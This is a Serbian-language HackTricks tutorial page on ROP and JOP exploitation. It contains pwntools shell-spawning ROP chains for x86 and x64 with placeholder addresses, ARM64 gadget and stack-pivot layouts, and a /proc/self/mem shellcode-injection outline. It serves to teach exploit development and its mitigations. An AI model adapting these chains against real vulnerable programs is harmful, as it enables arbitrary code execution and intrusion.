ROP & JOP
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Return-Oriented Programming (ROP) je napredna tehnika eksploatacije koja se koristi za zaobilaženje bezbednosnih mera kao što su No-Execute (NX) ili Data Execution Prevention (DEP). Umesto umetanja i izvršavanja shellcode-a, napadač koristi delove koda koji su već prisutni u binarnom fajlu ili učitanim librarijama, poznate kao “gadgets”. Svaki gadget obično završava instrukcijom ret i obavlja malu operaciju, kao što je pomeranje podataka između registara ili izvođenje aritmetičkih operacija. Lancem ovih gadgets, napadač može konstruisati payload koji izvodi proizvoljne operacije, efikasno zaobilazeći NX/DEP zaštite.
Kako ROP funkcioniše
- Control Flow Hijacking: Prvo, napadač mora da preuzme kontrolu toka izvršavanja programa, obično iskorišćavanjem buffer overflow-a da bi prepisao sačuvani return address na stacku.
- Gadget Chaining: Napadač potom pažljivo bira i povezuje gadgets da bi izvršio željene radnje. Ovo može uključivati postavljanje argumenata za poziv funkcije, pozivanje funkcije (npr.
system("/bin/sh")) i obavljanje potrebnog čišćenja ili dodatnih operacija. - Payload Execution: Kada ranjiva funkcija vrati, umesto da se vrati na legitimnu lokaciju, počinje izvršavanje lanca gadgets.
Alati
Obično se gadgets mogu naći koristeći ROPgadget, ropper ili direktno iz pwntools (ROP).
Primer ROP lanca u x86
x86 (32-bit) konvencije pozivanja
- cdecl: Pozivalac čisti stack. Argumenti funkcije se guraju na stack u obrnutom redosledu (desno-levo). Argumenti se guraju na stack s desna na levo.
- stdcall: Slično cdecl, ali callee je odgovoran za čišćenje stacka.
Pronalaženje Gadgets
Prvo, pretpostavimo da smo identifikovali neophodne gadgets unutar binarnog fajla ili njegovih učitanih librarijа. Gadgets koje nas interesuju su:
pop eax; ret: Ovaj gadget popuje vrednost sa vrha stacka u registarEAX, a zatim vraća, što nam omogućava kontrolu nadEAX.pop ebx; ret: Slično kao gore, ali za registarEBX, omogućavajući kontrolu nadEBX.mov [ebx], eax; ret: Pomerа vrednost izEAXna memorijsku lokaciju na koju pokazujeEBX, a zatim vraća. Ovo je često nazvano write-what-where gadget.- Pored toga, imamo adresu funkcije
system()dostupnu.
ROP lanac
Koristeći pwntools, pripremamo stack za izvršenje ROP lanca kako bismo pozvali system('/bin/sh'), obratite pažnju kako lanac počinje sa:
- A
retinstruction for alignment purposes (optional) - Address of
systemfunction (supposing ASLR disabled and known libc, more info in Ret2lib) - Placeholder for the return address from
system() "/bin/sh"string address (parameter for system function)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Chain u x64 primeru
x64 (64-bit) konvencije poziva
- Koristi System V AMD64 ABI calling convention na Unix-like sistemima, gde se prvih šest celobrojnih ili pokazivačkih argumenata prosleđuje u registre
RDI,RSI,RDX,RCX,R8, iR9. Dodatni argumenti se prosleđuju na stack. Vraćena vrednost se postavlja uRAX. - Windows x64 calling convention koristi
RCX,RDX,R8, iR9za prva četiri celobrojna ili pokazivačka argumenta, dok se dodatni argumenti prosleđuju na stack. Vraćena vrednost se postavlja uRAX. - Registri: 64-bit registri uključuju
RAX,RBX,RCX,RDX,RSI,RDI,RBP,RSP, iR8doR15.
Pronalazak Gadgets
Za naše potrebe, fokusiraćemo se na gadgets koji će nam omogućiti da postavimo registar RDI (da prosledimo string “/bin/sh” kao argument funkciji system()) i potom pozovemo funkciju system(). Pretpostavićemo da smo identifikovali sledeće gadgets:
- pop rdi; ret: Popuje vrednost sa vrha stack-a u RDI, a zatim vraća kontrolu. Suštinsko za postavljanje argumenta za system().
- ret: Jednostavan povratak, koristan za poravnanje stack-a u nekim scenarijima.
I znamo adresu funkcije system().
ROP Chain
Ispod je primer koji koristi pwntools da postavi i izvrši ROP chain sa ciljem izvršavanja system(‘/bin/sh’) na x64:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
U ovom primeru:
- Koristimo
pop rdi; retgadget da postavimoRDIna adresu"/bin/sh". - Direktno skačemo na
system()nakon postavljanjaRDI, sa adresom system() u lancu. ret_gadgetse koristi za poravnanje ako ciljano okruženje to zahteva, što je češće u x64 kako bi se obezbedilo pravilno poravnavanje steka pre poziva funkcija.
Poravnanje steka
The x86-64 ABI obezbeđuje da je stack poravnat na 16 bajtova kada se izvrši call instruction. LIBC, radi optimizacije performansi, koristi SSE instrukcije (kao movaps) koje zahtevaju ovo poravnavanje. Ako stek nije pravilno poravnat (što znači da RSP nije višekratnik od 16), pozivi funkcija poput system će neuspeti u ROP chain. Da biste to popravili, jednostavno dodajte ret gadget pre poziva system u vašem ROP lancu.
Glavna razlika između x86 i x64
Tip
Pošto x64 koristi registre za prvih nekoliko argumenata, često zahteva manje gadgeta nego x86 za jednostavne pozive funkcija, ali pronalaženje i povezivanje pravih gadgeta može biti složenije zbog većeg broja registara i većeg adresnog prostora. Veći broj registara i veći adresni prostor u x64 arhitekturi pružaju i mogućnosti i izazove za exploit development, posebno u kontekstu Return-Oriented Programming (ROP).
ROP lanac u ARM64
Što se tiče ARM64 Basics & Calling conventions, pogledajte sledeću stranicu za ovu informaciju:
[!DANGER] Važno je napomenuti da kada se pri skoku na funkciju koristeći ROP u ARM64 treba skočiti na drugu instrukciju funkcije (najmanje) kako bi se sprečilo smeštanje trenutnog stack pointer-a na stek i završetak u beskonačnoj petlji koja funkciju poziva iznova i iznova.
Pronalazak gadgeta u system Dylds
Sistemske biblioteke dolaze kompajlirane u jedinstvenom fajlu nazvanom dyld_shared_cache_arm64. Ovaj fajl sadrži sve sistemske biblioteke u kompresovanom formatu. Da biste preuzeli ovaj fajl sa mobilnog uređaja možete uraditi:
scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect
Zatim možete koristiti nekoliko alata da izvučete stvarne biblioteke iz fajla dyld_shared_cache_arm64:
brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted
Sada, da biste pronašli interesantne gadgets za binary koji eksploatišete, prvo treba da znate koje biblioteke su učitane od strane binary-ja. Možete koristiti lldb* za ovo:
lldb ./vuln
br s -n main
run
image list
Konačno, možete koristiti Ropper da pronađete gadgets u bibliotekama koje vas zanimaju:
# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"
JOP - Jump Oriented Programming
JOP je slična tehnika ROP-u, ali svaki gadget, umesto da na kraju gadgeta koristi RET instrukciju, koristi jump addresses. Ovo može biti posebno korisno u situacijama gde ROP nije izvodljiv, na primer kada nema dostupnih odgovarajućih gadgeta. Ovo se često koristi u ARM arhitekturama, gde se ret instrukcija ne koristi tako često kao u x86/x64 arhitekturama.
Možete koristiti rop alate i za pronalaženje JOP gadgeta, na primer:
cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0
Pogledajmo primer:
-
Postoji heap overflow that allows us to overwrite a function pointer koji je smešten u heap-u i koji će biti pozvan.
-
x0pokazuje na heap gde kontrolišemo deo prostora -
Iz učitanih system libraries nalazimo sledeće gadgets:
0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
- Možemo koristiti prvi gadget da učitamo
x0sa pokazivačem na/bin/sh(smešten u heap) i zatim učitamox2sax0 + 0x30koji sadrži adresusystemi skočimo na nju.
Stack Pivot
Stack pivoting je tehnika koja se koristi u exploitation za promenu stack pointer (RSP in x64, SP in ARM64) da pokazuje na kontrolisanu oblast memorije, kao što su heap ili buffer na steku, gde napadač može postaviti svoj payload (obično ROP/JOP chain).
Primeri Stack Pivoting chains:
- Primer: samo 1 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;
The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.
0000001c61a9b9c:
ldr x16, [x0, #0xf8]; // Control x16
ldr x30, [x0, #0x100]; // Control x30
ldp x0, x1, [x0]; // Control x1
mov sp, x16; // Control sp
ret; // ret will jump to x30, which we control
To use this gadget you could use in the heap something like:
<address of x0 to keep x0> # ldp x0, x1, [x0]
<address of gadget> # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16) # Fill until x0+0xf8
<address x0+16> # Lets point SP to x0+16 to control the stack
<next gadget> # This will go into x30, which will be called with ret (so add of 2nd gadget)
- Primer više gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp x29, x30, [sp], #0x10 // restore FP/LR
autiasp // **PAC check on LR**
retab // **PAC-aware return**
// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov sp, x29 // **pivot candidate**
ret
// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp x0, x1, [sp], #0x10 // consume args from "new" stack
ret
G1:
stp x8, x1, [sp] // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0] // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8 // Branch to the address in x8 (controlled by attacker)
G2:
ldp x29, x30, [sp], #0x10 // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29 // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret
Shellcode via /proc/self/mem (Embedded Linux)
Ako već imate ROP chain ali no RWX mappings, alternativa je upisati shellcode u trenutni proces koristeći /proc/self/mem i zatim skočiti na njega. Ovo je uobičajeno na Embedded Linux target-ima gde /proc/self/mem može ignorisati zaštite pri pisanju na izvršnim segmentima u podrazumevanim konfiguracijama.
Tipična ideja lanca:
fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET); // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)(); // ARM Thumb: jump to target_addr | 1
Ako je teško sačuvati fd, pozivanje open() više puta može učiniti izvodljivim da se pogodi deskriptor koji se koristi za /proc/self/mem. Na ARM Thumb targets, imajte na umu da treba postaviti donji bit prilikom grananja (addr | 1).
Zaštite protiv ROP i JOP
- ASLR & PIE: Ove zaštite otežavaju korišćenje ROP jer se adrese gadgets menjaju između izvršavanja.
- Stack Canaries: U slučaju BOF-a, potrebno je zaobići stores stack canary da bi se prepisali return pointers i iskoristio ROP chain.
- Lack of Gadgets: Ako nema dovoljno gadgets, neće biti moguće generisati ROP chain.
ROP zasnovane tehnike
Imajte na umu da je ROP samo tehnika za izvršavanje proizvoljnog koda. Na osnovu ROP-a razvijeno je mnogo Ret2XXX tehnika:
- Ret2lib: Koristi ROP za pozivanje proizvoljnih funkcija iz učitane biblioteke sa proizvoljnim parametrima (obično nešto kao
system('/bin/sh').
- Ret2Syscall: Koristi ROP za pripremu poziva syscall-a, npr.
execve, i natera ga da izvrši proizvoljne komande.
- EBP2Ret & EBP Chaining: Prvi zloupotrebljava EBP umesto EIP da kontroliše tok, a drugi je sličan Ret2lib-u, ali u ovom slučaju tok se uglavnom kontroliše adresama EBP (iako je takođe potrebno kontrolisati EIP).
Ostali primeri i reference
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64-bit, PIE i nx omogućeni, bez canary-ja; prepiše RIP sa
vsyscalladresom sa jedinim ciljem da se vrati na sledeću adresu u stacku, što predstavlja partial overwrite adrese da bi se dobio deo funkcije koji leaks flag - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, bez ASLR-a, ROP gadget koji učini stack izvršnim i skoči na shellcode u stacku
- https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html
Reference
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


